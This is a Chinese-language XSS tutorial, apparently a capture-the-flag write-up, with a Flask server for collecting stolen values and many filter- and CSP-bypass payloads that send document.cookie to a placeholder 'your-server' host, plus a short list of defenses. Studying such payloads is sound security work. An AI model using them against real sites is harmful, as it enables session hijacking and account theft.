狗子的XSS学习之旅
字数 956 2025-08-29 08:32:09
XSS漏洞实战与绕过技巧全面解析
0X00 XSS基础概念
XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。根据攻击方式不同,XSS可分为:
- 反射型XSS:恶意脚本来自当前HTTP请求
- 存储型XSS:恶意脚本存储在服务器上
- DOM型XSS:漏洞存在于客户端代码而非服务器端
0X01 XSS挑战环境搭建
基础接收服务器配置
使用Python Flask搭建接收服务器时需注意:
from flask import Flask, request
xss = Flask(__name__)
@xss.route('/')
def index():
flag = request.args
for i,j in flag.items():
print('Flag is:' + j)
return str()
if __name__ == "__main__":
xss.run(host="0.0.0.0") # 关键:允许外网访问
0X02 XSS挑战关卡详解
基础关卡绕过
基本payload结构:
http://目标域名/?location="http://你的服务器/?"+document.cookie
关键点:
- 使用
location参数传递恶意脚本 document.cookie获取当前域cookie+号需URL编码为%2B,否则会被服务器吃掉
常见HTML标签闭合技巧
- a标签闭合:
q=a%27></a><script>alert(3);</script>//
- textarea闭合:
q=</textarea><script>location.href='http://your-server/?'%2Bdocument.cookie</script>
- input标签利用:
q=1" autofocus onfocus=alert(1);//
autofocus属性使元素自动获取焦点,触发onfocus事件
特殊场景绕过
- 双引号被过滤:
q=1%20%27%20autofocus%20onfocus=location.href=%27http://your-server/?%27%2Bdocument.cookie;//
- 单引号被过滤(使用反引号):
q=``%20autofocus%20onfocus=location.href=`http://your-server/?`%2Bdocument.cookie
- frame标签利用:
q=javascript:location.href=`http://your-server/?`%2Bdocument.cookie
高级绕过技术
- SVG标签绕过黑名单:
q=11<svg/onload="eval(String.fromCharCode(106,97,118,...))">
- CSP绕过:
当存在CSP限制如:
Content-Security-Policy: script-src 'self' 'sha256-...'
可通过同源策略和document.domain设置绕过:
q=//allowed-domain.knock.xss.moe/?document.domain="knock.xss.moe";window.open(http://your-server)
- 字符编码绕过:
- 点号被过滤(使用数组表示法):
window['open']('http://ip2long:port?'%2Bdocument['cookie'])
特殊场景解决方案
- 长度限制绕过:
- 使用短域名服务
- 搭建外部页面利用
window.name传递payload:
<script>
windo.name = "location.href='http://your-server/?'+document.cookie";
location.href = "http://target/?q=<svg/onload=eval(name)>";
</script>
-
全大写过滤绕过:
使用HTML实体编码所有字符 -
script标签过滤:
- 双写绕过:
<scriscriptpt> - 大小写混合:
<Script>
0X03 防御措施
- 输入过滤与输出编码
- 设置HttpOnly标志
- 实施CSP策略
- 使用X-XSS-Protection头
- 避免使用
eval()等危险函数
0X04 总结
本教程涵盖了从基础到高级的XSS绕过技术,包括:
- 多种HTML标签闭合技巧
- 事件处理器利用
- 字符编码绕过
- CSP策略绕过
- 长度限制解决方案
- 各种过滤规则的绕过方法
这些技术展示了XSS攻击的多样性和灵活性,也强调了全面防御策略的重要性。实际应用中应根据具体场景选择合适的绕过方法,同时作为防御方也应考虑多种攻击向量,实施纵深防御。